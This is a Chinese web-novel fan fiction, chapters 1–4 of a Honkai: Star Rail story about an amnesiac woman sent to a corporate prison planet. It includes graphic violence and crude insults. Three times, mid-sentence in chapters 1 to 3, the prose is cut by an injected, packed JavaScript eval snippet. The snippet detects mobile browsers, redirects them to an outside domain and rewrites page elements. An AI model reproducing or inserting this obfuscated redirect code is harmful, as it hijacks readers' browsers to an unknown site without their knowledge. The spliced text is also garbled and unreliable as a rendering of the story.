《[星穹铁道]星际和平公司入职指南》 1. 第 1 章 “诸位,欢迎来到全宇宙最后的法外之地,伊维尔。” 安娜睁开眼睛,头盖骨下面好像有什么要钻出去似的疼痛。很快她就意识到眼前忽明忽暗的光线并不是采光器的问题,纯粹是视觉器官在接收信号的功能上出了点毛病。 “要我说,庇尔波因特真应该给你们这些恬不知耻的罪犯一人一颗子弹,而不是浪费资源打造出一颗监狱星。”站在通道最前端的家伙被外骨骼重重保护在内,他大约想要做出双手背后的动作,奈何护甲厚度感人,不管再怎么努力手臂也只能僵硬的垂在身侧。 这东西……不,不对,姑且把他当成个人去讨论的话看着实在圆得可笑,头颈完全包裹在球形金属腔内,活像只吃得太胖活动不便的机械企鹅。 安娜右手边的“邻居”自言自语:“公司的走狗,呸!” ——公司?什么公司? 邻座把脸藏在毛茸茸的胡子里,也许是紫色的头巾一圈一圈缠绕着盘在头顶,最后留了个桃子一样的尖。那顶头巾实在是太脏了,只能试着猜测底色与花纹……大概是某种宗教信仰下的特有装束。安娜注意到他身上的衣物和自己一样,都是灰色套头衫加灰色长裤,双手被拘束环扣在一起。 “……感恩戴德吧……” 机械企鹅喋喋不休自始至终就没停过,能在一群穷凶极恶的罪犯面前趾高气扬这感觉简直棒极了,就像做梦一样美妙。无论杀人如麻的星盗还是呼风唤雨的巨骗,不管他们之前过得怎样走到这一步这辈子就算一眼望到头了,是龙得盘着是虎得卧着,哪怕小小的物流部押运组组长也能指着这些人的鼻子一一数落。 星神在上!要知道星际和平公司内部可是存在无数个这样的小组长,而能被公司列在通缉令上的大盗可不多。 “伊维尔将是你们人生最后一站,洗干净屁股好好享受吧,哈哈哈哈哈哈!”他笑得几乎要向后仰翻过去,安保部门配发的武器挂在腰间露出黑洞洞的枪口。 所以……我终于犯事儿了?犯了什么事儿? 等等!为什么要用“终于”? 安娜收回投向邻座大胡子的视线,转而观察起机械企鹅以及他的同僚。 哪怕护甲武器样样不落,这些人内里也穿着标准黑色职业西装打着领带,毛发更是收拾得一丝不苟。换句话说……穷讲究,反正她绝不会穿着束缚身体的衣服去做押送工作。 武装押运,重刑犯,但是负责运送的人和“专业”二字毫无关联。 词汇突兀的从脑海里浮现出来,女子将疑惑藏在平静的表情下。她实在想不起来自己到底犯下过何种罪行居然能享受如此高规格的“优待”,甚至回忆不出睁开眼的上一秒身边都发生过什么。 大脑就像平白多了好几个洞,记忆如流水般顺着那些洞流得一干二净,什么都没剩下。其实就连名字也是她从约束环标签上读出来的,鬼知道这究竟是真名还是代号。安娜?都是什么古早严肃文学里的悲剧女主角? “……如果我是你们现在一定匍匐在地额手称庆,多谢琥珀王的慈悲吧渣滓们……” 穿戴厚重外骨骼是件极其耗费体力的事,就算在材料中添加了相当比例的超轻金属也无法改变总质量累积带来的尴尬。机械企鹅终于满足了表演欲,艰难撑起胳膊坐在部下搬来的椅子上变成一只机械南瓜,黑色版。 所有人都能观察到他胸部起伏的幅度变大了,看来厚重防护的代价是不得不牺牲部分机动性。“自重过高”正是全包型机械外骨骼的弊端之一,至少对没经历过军事训练的普通人来说是这样。 “哈,该死的走狗!”隔壁的尖头顶大胡子毫无征兆从座位上一跃而起向前飞扑。 那是真的“飞”起来“扑”,九排座位共计三米左右的距离他只用了一个动作,轻松越过众人头顶直取目标首级。约束双手的液金环状物被蛮力撕开丢弃,安娜几乎无法在视网膜上捕捉到物体移动的痕迹。 呯! 咚咚咚咚咚…… 变故发生得极快,上一秒身侧狂风拂过下一秒人形物体直挺挺倒在机械南瓜脚下。 嗯……大概是个人吧。裹着头巾的尖脑袋在地毯上来回转了几圈,撞在机械南瓜的椅子腿儿上又被弹开。手脚四肢齐齐断裂撒了一地,缺了五样配件的躯干躺在满是脚印的过道上微微抽搐。 “叮当。” 液金约束环此刻才落下,弹动的同时发出清脆声响。 安娜小心挪开脚尖,不乐意让自己沾到腥臭的红色液体。要知道人类的尸体和血液总是很难处理,而且经常会给还活着的人招来大大小小不计其数的麻烦。 “哼,不知死活!”机械南瓜评价得很平淡,如果他的呼吸声没有一阵粗过一阵或许可以骗过沉默中的重刑犯们,“这才哪儿到哪儿了,你们这些渣子该不会以为公司还会像对待匹诺康尼那样心慈手段吧!哈哈哈哈哈哈哈!笑死我了!” 自从匹诺康尼脱离公司掌控后庇尔波因特不得不另外开辟出一个新的监狱星,充分参考失败的先例后特别邀请博识学会的犯罪心理学专家们专门打造出“伊维尔”用来容纳所有被公司宣布有罪并成功捕获的罪犯。为了保证让这些垃圾安分守己一辈子待在垃圾桶里,连同送他们前往目的地的星舰与刑具都是定制款。 要不是有这些装备保护区区物流部押运组组长哪敢当着犯人的面大开嘲讽?被庇尔波因特审判的犯人中包含了全宇宙各个种族,琥珀王才知道他们身上都藏着什么绝技! “你,还有你,去打扫干净,马上就要到伊维尔了,不能让典狱长觉得咱们都是些不讲究的乡巴佬。” 他奋力摆动了一下脑袋,似乎是想做个潇洒摆头的动作,可惜受限于外骨骼的厚重只能象征性微微发生些许位移,“其他人去抓这家伙的同伙,不用问那么多直接就地打死。” 南瓜用脚尖踢踢地毯上的血渍,不怀好意的摇晃着看向某个区域。 冰冷的枪管抵在头上,安娜被金属管敲痛了,下意识皱起眉毛。以大胡子为圆心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15050698|162797||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,倒霉坐在他四周的犯人全部被认作是“同伙”,有一个算一个脑门上都多了根黑色圆柱“装饰品”。 “嘿!嘿!嘿!轻点儿公司的小宝贝儿!我可什么都没做!” 不止一个人发出不满的声音。这些重刑犯并不恐惧于抵在头上的枪管,有些人甚至在不满中夹杂着些许笑音——如果安保真的完全唯组长之命是从他们就不会只是比划两下,地面上也不会只躺着一具孤零零的尸体。 怎么?不开枪是因为不想开吗? 安娜坐着没动,竖起耳朵认真倾听。 机械南瓜拉直了声线几乎破音:“打死他们!他们发出了声音!我有这个权力!庇尔波因特的第二十三条!” 除了他机舱里只有嗡嗡嗡的机械音,仿佛一出滑稽喜剧正演到高潮。 南瓜的脸色安娜看不见,他的头颅被厚重头盔保护着。不过她怀疑这家伙此刻一定像动画片里那样奋力用鼻孔喷出大股白气儿以显示自己的愤怒,他用力得圆滚滚的躯体都跟着微微颤抖。 安保人员并非押运组员工,他们接受的是另一项培训,深知什么时候能扣下扳机什么时候不能。机舱里至少有三分之二犯人掌握着公司渴望得到的资源,在那些能够浇灌出财富的沃土彻底完成转让前琥珀王亲临也不能结束他们的生命。 ——伊维尔就是能够让他们乖乖让渡权力的中转站。 再说了,公司辐射到的大多数区域都不支持死刑,只要犯人没有把手伸进衣袋安保就没有清空弹夹的理由……这可真是件让人悲伤的事。 下达命令却得不到响应的小组长恼羞成怒,好在他还保持着最基本的理智,明白安保人员迟疑的理由。机械南瓜转动他那藏在头盔后的小眼睛来来回回寻找目标,果然让他找到了一只软柿子。 那是个年轻女囚犯,脸上的婴儿肥尚未退尽,眼神怔愣木讷活像只愣头愣脑的雏鸟……光源下她脸颊上的绒毛纤毫毕现,显得毛茸茸的多了许多稚气。黑色的长发随意散落着,脸色很白,唇色很淡,有双灰蓝色的眼睛,整个人就像是褪色了似的。 那姑娘叫什么来着?名单上写得安娜还是安妮?算了,总归既没有出名的姓氏也没有有恃无恐的手牌,连入狱的理由也透着一抹荒诞不羁——以危险方式妨碍公共安全罪。 这算什么罪行?这不是庇尔波因特最广为人知的兜底条款么?机械南瓜差点笑出声,这个看上去完全没有神异之处的女人难不成还是什么不得了的武装反叛分子?别开玩笑了,真正的危险分子全都躺在董事会宽大柔软的椅子里喝着美酒吃着美食,才不会被抓到。 既然是毫无背景的普通人,那可就不要怪他心狠了。话说回来……对于不慎犯下罪行的平民而言早早结束生命或许是种比服刑更为仁慈的命运。伊维尔可不是个好去处,来自宇宙各个角落的犯人统一住在由一处超规模死火山改造的孤岛监狱中。 那是颗海洋星球,陆地面积仅占总面积的百分之四,监狱深处海底,只能从火山口出入。 2. 第 2 章 安保人员迟迟不采取行动,随着时间推移犯人们的胆子越来越大。 “搞什么啊,你的**是被站街女给OO了吗,硬不起来?让他们开枪呐!” 粗鄙的挑衅就像烧开了锅的水泡,要不是额头被人用枪管指着安娜真想扭过去看看到底是谁把修辞学专精到如此奇妙的分叉上。 细细碎碎的憋笑声比雨后的蘑菇还过分,至少蘑菇们需要很长时间酝酿突破土层的力量,发出笑声就不用这么麻烦了。很显然,男人在撒泼骂街这种事上往往别有一番天赋,对于如何激怒同性他们向来驾轻就熟。 机械南瓜毫不意外的中了对方的挑衅,他努力摆动身体挣脱椅子的支撑,咣机咣机踩过浸满污血的地板走向事先看好的软柿子。 液金减震器将血泊踢碎,深红色的血点子溅开落在更远的地方,制造出更多污渍。 第二个枪口抵在眉间,颤抖从机械南瓜的指尖传递到安娜的皮肤。 “呵,废物。” 女人的表情纹丝不动,被期待的恐惧与求饶压根儿就不存在,她甚至懒得抬起眼睛给闯到面前的押运组组长一个白眼,“我不歧视任何身怀障碍的人,嗯,包括并不限于智械。” 措辞文雅严谨,但攻击力拉满。 枪口抖得更厉害了,她太过有恃无恐,南瓜先生开始怀疑人生——莫非这也是个既不能轻易处死又不能归还自由的家伙?这种可能并非不存在,否则依照庇尔波因特的法律“以危险方式妨碍公共安全”是足够当场击毙的重罪,一切可疑行动都可以扔进去适用,看上去平平无奇的她能活着出现在前往伊维尔的星舰上本身就疑云重重。 开枪?万一女囚犯身怀公司渴望的价值怎么办?不开枪……事关男性尊严,四周的窃笑已经逐步转为大鸣大放的狂笑了。 “臭婊子!” 机械南瓜决定给她点颜色见好就收,如果安保人员制止他接下来的行为,那就说明这个女人确实是不能动的。如果没有,他非得把她打成筛子! 谁来也拦不住! “我建议你玩把大的,”她似乎被对方谨小慎微的试探给逗乐了,眉心微挑,嘴角上翘,“抓紧时间。既然追求刺激,那就贯彻到底咯。” “哈哈哈哈哈哈哈哈哈哈!” 怪叫和各种偏门儿的俚语层出不穷,如果不是联觉信标及时发挥作用这些动静和噪音差不了太多。 南瓜先生骑虎难下。 根据庇尔波因特适用的法律,执法人员有权在武装押运过程中击毙暴力反抗企图逃跑的犯人。虽说在公司看来处理工作问题时员工和执法者之间差别不算太大,但是眼下触发法条的另一个条件并未得到满足——犯人没使用暴力,她连动都没动一下更不用说逃跑或企图逃跑。 快点动啊?惊恐躲避啊?哭泣哀求啊?随便哪一项都可以判定成功! 看热闹的犯人们有的人伸长脖子有的干脆欠身曲腿半站着,生怕错过任何乐子。这一路过得太乏味,等进了伊维尔又要面对另一重意义上的绝地求生,再想撞上如此欢愉的场面不知道得等到何时。 要是护甲正面的视窗可以双面透视安娜相信自己一定能看到南瓜胀红的脸,她早已察觉到这家伙色厉内荏的本质,此刻好整以暇逼他做出抉择。越胆怯死得越快,越是轻举妄动越容易授人以柄,这本是所有人都知道的常识。奈何极限高压的环境下很难做出正确判断,面对枪口时换谁谁不迷糊,想要不迷糊只能权将生死置之度外。 若非碍于生物本能,安娜甚至觉得处理眼下这团棘手的麻烦还不如领颗子弹重开来得舒坦,谁家好人刷新点设置在前往监狱的星舰上呐? 枪口在她肩头与眉心的这条直线上来回游移,几乎能听到扳机一点一点抠紧时金属发出的摩擦声。好几个囚犯干脆直挺挺站起身盯着这边看,眼睛里放射出渴血的光,既像狐獴又像鬣狗。 “……” “啧,乱糟糟的,脏死了。”无人注意的方向上冷淡厌倦的声线透出几分不耐,“动手。” 红色光线毫无波澜的从机舱一头推到另一头,有些人反应足够快,有些人发现大事不妙却也已经来不及躲闪。 温热滑腻的红色液体泼了安娜一头一脸,喧闹瞬间变成死寂。 “日安,诸位,我是伊维尔的新任典狱长。从现在起我的话就是规矩,违背规矩付出代价,谁还有什么意见吗?” 咔哒咔哒。咔哒咔哒,军靴鞋底敲出规律的鼓点,支着手杖的白发男人从舱门走到机舱最前端。他戴着白色手套,黑色军帽的帽檐压得极低盖住眼睛,只能看到冷硬的下颌曲线与扣得一丝不苟的风纪扣。 所有高过座椅二十公分以上的“物体”统统被那道光线切做两半,站起来看热闹的犯人,穿着厚重护甲的机械南瓜,以及持枪的安保人员……他们躺在地上的模样和之前那脑袋尖尖的大胡子没有本质区别。 “太脏了。”男人眯起眼睛,这时舱门外才走进一排低头沉默的黑衣狱卒。 不知不觉间星舰已经降落在伊维尔星地表,额,严格来说应该是海“表”。 狱卒迅速按照序号一个一个将囚犯拖出舱门。由于方才那场变故没人愿意在毫无指示的情况下把自己的屁股从座位上抬起来,相比之下被人拖着走反而是种安全有效的对策。所有人都对地面上那些逐渐变凉僵硬的尸体视若无睹,安娜小心翼翼控制着呼吸让这具身体的心跳慢下来,等待狱卒前来拖拽……原身的潜能不错,就是有点缺乏锻炼。 死个把人这种丁点大的小事而已,见多了才不会被刺激到。 “扔进海里涮干净,你们也一样。”囚犯依次被拖过典狱长面前,轮到安娜时男人格外阴暗的扫了她一眼。 女囚犯长发上挂着仍在滴滴答答滑落的粘稠血浆,统一的囚服上一块黑一块红。她微微垂下头,完全看不清长相,与方才屡次故意激怒押运组小组长时的状态判若两人。 看到她从头到尾一副“活着很好死了也行”的样子一动不动,典狱长眼神中饱含着恶意与遗憾:“伊维尔星上的污浊已经足够让人喘不过气,诸位行行好,别再为自己增加生存难度。” 他绷紧下巴短促挥手,狱卒们严格按照命令拖着安娜走出星舰舱门直接跳进冒着白烟的黑色海面。 极寒一拥而上,这样的冲击使得感官迟了一秒才成功将意识信息传递给大脑。 安娜能清晰听见牙齿在牙床里打架的密集咔嗒声,寒意来得猝不及防。那两个狱卒刻意压着后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15050699|162797||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脖颈把她摁进冰水,就像搓一团破抹布似的奋力借助海水搓洗她头发里逐渐凝固的血块。 十五分钟后,面色青白的三个人回到排队序列中,向下走了一会儿来到白色建筑外。此刻所有的门都处于开启状态,门内负责核验身份的狱卒操纵仪器扫过囚犯,顺便示意同事帮忙把人塞进自助采血仪。 这东西就像个夹子,犯人被结结实实固定在夹齿之间动弹不得。 “又一个从没安装过光脑的乡巴佬……”他低声嘟囔了一句伸手抓向一只装有三枚印章的匣子。 没有安装过光脑就只能比对纸质记录和系统信息核验身份,平白多了道工序。当然了安装过光脑也不是就能节省下更多力气,还得交给医生将光脑取出来统一“保管”。伊维尔禁止犯人携带任何形式的通讯工具,无论是向外界发送消息还是犯人之间传递信息都会被视作企图越狱。 狱卒拿起黄色的印章比划:“把她的脸露出来,拍个照。身上有特殊标记么?商品编码,胎记,手术疤痕……什么的。” “没有。”架着安娜的两人异口同声。 他们一个撑下巴一个拽头发,把女人的脸凑到镜头前:“够清楚不够?” 整场对话透着一股子荒诞的冷漠与死感,就跟女囚犯留下的入狱照一样。 印章悬在她的手腕内侧正打算向下压,耳麦里传来的命令让狱卒皱起眉头。他收回黄色换了红色,幸灾乐祸似的对她挤挤眼睛道:“哇哦,祝你在伊维尔过得开心,黑羊。” 红色圆形印章盖在手腕上,微微有些刺痛。出血是肯定的,但对肌肉和骨骼并无损害。 “后面自己走,”脱离自助采血仪安娜立刻被推到下一排队伍的尾巴上站着,那两个家伙转身就走,看来他们的职责范围到这里就算是告一段落了。 失去人形拐杖不能再继续偷懒实在是件令人悲伤的事,但是眼下有更重要的事需要确认。 她把右手手腕抬到眼前,圆形印章留下了一个羊头图案,弯曲的羊角盘旋着几乎要刺破视线。左手盖在图案上揉搓,鲜红的颜色丝毫没有消褪的意思。 看来擦是擦不掉的,只能庆幸这玩意儿还好盖在手腕内侧,换了全身任何地方都会变得更像是个屠宰章。 伊维尔,山羊头,整得还挺神秘。 武装狱警左右分列,排队的囚犯们经过星舰内那场下马威后一下子变得又温顺又老实。至少绝大多数人乐于表现出温顺老实的模样,至于他们是不是真的温顺老实……其实并没有人在意。 队伍慢慢向前向下,安娜从一个带着眼罩的智械狱卒手里领到新囚服和快速制作完毕的身份牌,那上面的数字编码就是她今后的官方名称。四肢上的液金约束环在这里被取下胡乱扔在桌子上的收纳箱里,脖子上那个圈儿也换了种款式,据说里面安装了最先进的识别系统同时搭载自动处刑设备。 为了让犯人们明白伊维尔不是疗养院通道上方专门挂了张光屏,监狱里林林总总的规矩罗列其上循环滚动。 安娜抬头看了一会儿,总结下来一共也就两点——不得忤逆典狱长,监狱里凭工资吃饭。 咱这也是头一回蹲大狱,之前犯没犯过事儿谁也不知道。所以……正经监狱是这样的吗? 3. 第 3 章 “速度快点!换上新的囚服,戴好身份牌,往前走!”狱卒大声催促领到物资的犯人赶紧前往下一关,早点完事儿早点下班。虽说下班了也不能离开但总归不必盯着犯人看,精神上的放松和肉1体上的放松同样重要。 安娜学着前面人的样子依次走进隔间,总算能把身上湿漉漉的衣服脱下来了,哪怕新发的囚服还是同样的色系同样的款式她也没有任何意见。 “08241086号记一次,带走。” “为什么?凭什么!我要告你们!我要见我的律师!” “携带管理条例允许范围外的物品,建议追加五年刑期。” 隔间外的狱卒语气平淡。 安娜看不见其他隔间里都发生了什么但是能听见,犯人因私藏监狱违禁物品而被无人机带走……很显然,这个隔间内安装有探测器,各种。 套上新囚服,挂上身份牌,她借机摸了把脖子上的项圈。液金的,无法依靠蛮力拆卸。走出隔间时金属身份牌垂在胸前微微摇晃。还真别说,颇有点进狱系时尚单品的感觉。 流水线一般再向前是一间方方正正的空屋子。不管进来的囚犯们什么性别什么信仰,统统被摁在椅子上剃成一模一样的板寸,等他们出去就只剩下颅骨圆润度的区别。 头顶逐渐变得轻松,安娜悄悄松了口气——她正犯愁这么长的头发该怎么办呢,蓄着这玩意儿不方便呐,妥妥的弱点! 她坐在椅子上温顺的按照要求摆出托尼老师需要的种种角度,抬头时不经意间看到对方腋下露出的空洞——这位智械肯定是个自然主义者,崇尚简朴的生活方式。她……他……它……好吧,安娜放弃斟酌该用什么性别的代词,总之这位托尼只给自己攒了半个人壳子,关节处干脆敞着个个黑色圆洞,胳膊跟传动轴一样直接从洞里穿出来,看得碳基生物翅膀根恶寒。 不是,这么着整不需要担心灰尘对体内零件的影响么? 怀揣着这个隐秘的疑惑,她离开房间继续向前走。 “08241321号,碳基陆生种,八层404号囚室。”说话的还是个智械,“站到升降机上去,别堵路。” 这里的犯人并不仅限于狭义上的人类,左括号成年右括号,完毕。安娜亲眼看到不同的族裔根据指示走进不同的升降机通向不同的分区,有的犯人还没有她腰高,头顶一簇白色绒球,骂骂咧咧和一群同样精巧的小东西挤在一起。还有的犯人被装在鱼缸里运走,大概是鱼缸吧,半人半鱼还得坐牢也挺为难的。 头顶冒火的,身后有尾巴的,长着个狗头的,一趟下来跟逛动物园有得一比。 看守升降梯的狱卒一把将这个腿脚慢吞吞的女犯人塞进几乎爆炸的轿厢,这里面实在是太挤了,安娜怀疑自己可以继续脚不沾地的移动到囚室门外。 “!#@¥#¥#¥%@#¥!@” “&%@#¥@%#¥……&” “抱歉。” 各式各样极具地方特色的咒骂此起彼伏,联觉信标如实翻译。安娜抬起头在一堆沙滩之子里精准找到那股清流……是个介于少年与青年之间的金发男子,他低着头,颈侧露出一排数字条码。 黑色刺青? 兄弟你玩儿的还挺大。 “唔。”骤然而来的失重感引起第二波修辞学大赏,好在这东西名叫升降梯实际上并不是想象中那种摇摇晃晃的老式金属箱笼,除了把犯人当成猪运外它的工作效率远超同僚,赶在挤出人汁前抵达目的地。 门开了,安娜被守在外面的狱卒拎出来,他们就跟假日大促销时赶着零元购的人一样不管头脸往外拽。 托辛勤工作的狱卒们的福,犯人们得以成功脱离升降机来到位于地下八层的囚室走廊。 “找到自己的囚室站好!”这里的狱卒举起枪,刚才还在破口大骂的人群瞬间安静如鸡。 白色地板,白色墙壁,白色天花板,整条走廊灯火通明,哪怕一只苍蝇也无所遁形。走廊两侧全都是一小块一小块的囚室,分单双数排列。404号比较靠中间,安娜先数到400,走过402然后站定。那个金发青少年在403号,刚好在她对面。 “十、九、八、七、六、五、四、三、二、一。” 倒数结束,最后一个没头苍蝇一样乱撞的犯人额心多了个小红点。他倒在走廊地板上抽搐几下就不动了,很快有人上前将尸体拖走,顺便擦掉血渍。 理由?不服从监狱管理够不够? 囚室的金属门自动弹开,狱卒平淡的给出第二道指令:“进。” 安娜听话的走进去,两道门在背后自动关闭。 为了方便管理囚室设置了两道门。一道是仅由主系统控制自动开合的金属门,另一道算是个双保险,安装了触发式报警器,可以由狱卒手动开启。金属门完全就是个密些的栅栏,内侧门上侧有三分之一全透明,全靠下半部分才勉强保住犯人岌岌可危的隐私。 她站在门口仔细观察未来一段时间的居所。和外面走廊一样的白墙白地白色天花板,白色的床白色的被褥,床脚墙壁凹进去一块,那是个没有门的厕所。看来典狱长本人罹患重度洁癖,否则不至于连厕所里也一片刺眼的雪白。床头一侧是封死的窗户,厚度堪比装甲钢板的玻璃外是幽深的黑色海水。 “唉……幸好囚服不是白色。”安娜挪到床边一屁股坐上去,被海水浸泡过后到现在头皮痒得钻心。她索性改成半躺,抬起手咔哧咔哧的挠。 幸亏剃了,不然这会儿可有得熬。 十五分钟后整条走廊回荡着刺耳的铃声——拜托!请各位卧龙凤雏搞清楚自己眼下的处境好吗?你们这是在坐牢,不是住疗养院! 每间囚室门后都出现一张脸,安娜这才发现对面的小邻居有双漂亮眼睛。粉紫色加浅蓝色一圈一圈套着,妖异得不像是个人类。怪不得他全程低着头,男孩子长成这样确实得在外面好好保护自己。 铃声停止,刺耳的喇叭里播报起伊维尔监狱的各条守则。这些内容在之前的光屏上已经显示过了,大家都在走神,拉拉杂杂放了半小时后广播很是识趣的改为播放各项生活“常识”。监狱向犯人们提供的一切物资都不是免费的,从走下审判庭到现在平均每人已经欠了星际和平公司二十万伊维尔币不等的巨额债务,按照通用银行利率收取百分之十五的利息,希望在接下来的生活中所有人都能努力工作争取在离开监狱前将欠债还完。 理论上还不完也不至于丢掉性命,只是刑期将会无限累计。原本二十年就能重获自由搬到地面上生活说不定额外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15050700|162797||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多耽误个三年五年的,总归不是件让人喜闻乐见的事。 要还债就要工作,犯人们能够从事的工作大体上分三类:留在监狱里做“清洁工”,制作手工艺品,进入矿场挖矿以及下海。不是那种“下海”,而是深入海底采集伊维尔特产的珍珠贝以及散落在海床上的漂亮宝石、有时候还得根据需要狩猎专门类别的海洋生物。 清洁工的时薪最低也最安全……额,相对安全,每小时能拿到五百伊维尔币。制作手工艺品八百伊维尔币一小时,超出计划外的部分计件支付。挖矿和采集的基本时薪都是一千伊维尔币,另外根据收获还有额外奖金可拿。每天犯人们都必须严格按照铃声起床洗漱前往食堂用餐,用餐结束后自行选择工种开始工作。午餐倒是不必非要在食堂用,但晚餐必须出现应卯,否则戴在脖子上的项圈就会被激活,一概以企图越狱论处。 服刑期间越狱,下场只有一个。 能够赶在刑期结束时还完贷款的幸运儿将得到重新做人的机会,他们可以平安离开位于海底死火山山腹中的监狱去到海面上的零星岛屿上生活。 安娜注意到广播里的种种措辞,也就是说监狱运行着与外界完全不同的另一套体系——独立的货币,独立的行政,独立的“司法”,真有人能离开伊维尔星吗?恐怕不能,广播里明明白白说了服刑结束也只是离开监狱去到海面以上生活而非回归正常世界。反复出现的“星际和平公司”是伊维尔监狱唯一的运营商,典狱长也只对公司董事会负责。就……听上去好小众啊! 每个字都能听懂,拼在一处颇为费解。 广播林林总总持续了一个小时,为了避免犯人以“没听到”作为借口,播完最后一个字它就从头又来了一遍,然后又来了一遍,再一遍。 今天是新犯人来到伊维尔的第一天,完成入狱手续花费了不少时间,早已赶不上报名工作的机会。横竖都要欠公司钱,安娜毫无心理负担的等待午餐铃声。 虱子多了不痒,债多了不愁。人均欠债二十万呢,再多个几千感觉也就那样。 广播播完第四遍,刺耳的铃声终于带来好消息。 最外侧的金属门应声弹开,内侧门锁传出脆响,安娜从床上跳起来走到门口观望。和她一样谨慎的人有很多,就比如面对总是垂着头的金发小帅哥。寸头这种发型实在是很考验人的颜值,剃成这样还能用“帅”字去形容的不管怎么折腾脸都很能扛。 谩骂声由小到大,大家鱼贯而出沿着走廊通道上的标记一直走,十五分钟路程后就是陆生物种公用的就餐区域。 新人们短暂的适应期到这里就算告一段落,他们即将面临伊维尔真正的考验。 负责清洁工作的犯人推着清洁车来来回回不停擦拭地面和桌面,偌大就餐区泾渭分明的划成好几片。 “别在这儿傻站着!”后面的人催了一句,安娜抬脚迈过门框,混在人流中左顾右盼。 随着新囚犯不断汇入,坐在食堂里的“前辈”们有的继续埋头大吃有的停下动作上下打量。 看来犯人之间存在派系,不同派系至少在明面上是互不来往的。安娜想起狱规里从头到尾也没有提到过哪怕一句“不得互相攻击”,忽然对这地方的生态产生了些许兴趣。 有点意思。 4. 第 4 章 “新来的?”瓦尔德饶有兴致的看向食堂入口,这些还怀抱着天真想法的新人让他不由想起自己刚进伊维尔时的样子,“也不知道这里有多少人能活过头三个月,哈!” 坐在他对面的搭档收回视线把注意力尽数转移到眼前的午餐上:“无所谓,反正所有人最后都会被公司榨干。” 星际和平公司的法务部向来人称深空最强,除了仙舟联盟那种真能把星神摇来的狠茬子外就没有他们不敢伸手的油锅。只要是能在伊维尔成功存活半年以上的人都明白这儿究竟是个什么地方,多余的好奇心就像多余的善良一样,越多死的越快。 土豆泥在他勺下逐渐变成很容易让人误会的形状,瓦尔德嫌弃的皱眉坐远了些:“可是咱们现在还活着,而且短时间内不打算死,老大的命令总要敷衍一下。” 帮派建立在榨取底层成员剩余价值的基础上,没有新鲜血液就意味着没有额外的横财,那怎么能行。 “你去咯,看看哪个比较傻,骗也行吓也行,先拉进来做上几星期工抽成。”搭档把形状感人的土豆泥戳起来一条塞进嘴里,嵌在土黄色圆柱状物体上的蔬菜粒加深了这玩意儿恶心人的程度。但是他毫不在意,再丑也是天然主食和天然蔬菜,总比工业合成的膏状营养剂要适口得多。 瓦尔德忍住呕吐的欲望吐槽:“看你吃东西真是一种折磨。” 说完他撑着桌子站起来,与此同时脸上浮现出兼具和蔼可亲与老实淳朴为一体的表情。 中年人搓着手凑到食堂入口附近,他只打算骗几个傻瓜抽上几星期的成,自然不会瞄准一看就不好惹的新人去——比如说身材特别魁梧或是浑身带着浓重煞气的那种。 伊维尔的死亡率相当高,不过能被送到这种人才济济的地方来想必新人们也都各有绝活。说不定谁能熬出头熬成大佬呢,蛇有蛇道鼠有鼠道么,没必要一上来就得罪那样的人。 至于炮灰们……反正他们的平均寿命也就一百天左右吧,死人不需要伊维尔币,把余额转赠给更有需要的活人难道不好? 环保!节俭!美德永存! 很快他就挑中了几个目标。一个是瘦削高挑的女人,她有双灰蓝色的眼睛,正在好奇的左瞧瞧右瞧瞧,别人都知道自己是来坐牢的偏偏她像是在逛公园赏景。还有一个是阴郁稚嫩的……青少年?算这小子倒霉被分到成年囚犯聚集的区域,倘若能活着出去,监狱里学到的东西绝对让他受益终身。 其余几个人也都是看脸就知道相对更好对付的品种,完美符合需求。 “哈哈哈哈,伊维尔和外面的世界不一样,货币不和信用点兑换,想吃东西只能靠辛苦赚来的伊维尔币购买,贷款吃饭的好事儿仅限头一天。哥们儿姐们儿犯了什么事儿进来的?”笑得跟个烂枣似的中年男人手里拿着几管胶体凑上来,安娜眨眨眼接过话题:“你问我?我也不知道,冤枉呐!” 十个犯人里九个半都这么叫,瓦尔德并不往心里去。他把低级营养膏往女人手里塞,顺便还招呼了一下离得不远的另一个目标:“公司的债可不好还,能不欠最好不欠,来来来,赶紧吃吧。姐们儿哥们儿怎么称呼?” “卡卡瓦夏。”年轻人接过食物打开就往嘴里挤,绝不浪费任何食物,主打一个不吃白不吃。安娜看了他一眼又看看自己面前的纤维管,并不打算委屈亲生的嘴:“你刚才说第一天可以贷款吃饭?” “可以是可以,不过你可想好了,清洁工这份儿活时薪低没有外快,每天还得支付食宿以及个人物品的费用,怕是还一辈子也还不完。我看姐们儿你这么年轻,不至于就打算在伊维尔蹲上一辈子吧!” 谁也不能质疑他语气里的真诚,但是安娜比他更真诚:“为什么不?囚室的条件挺好,出去也不一定能遇到更好的了。” 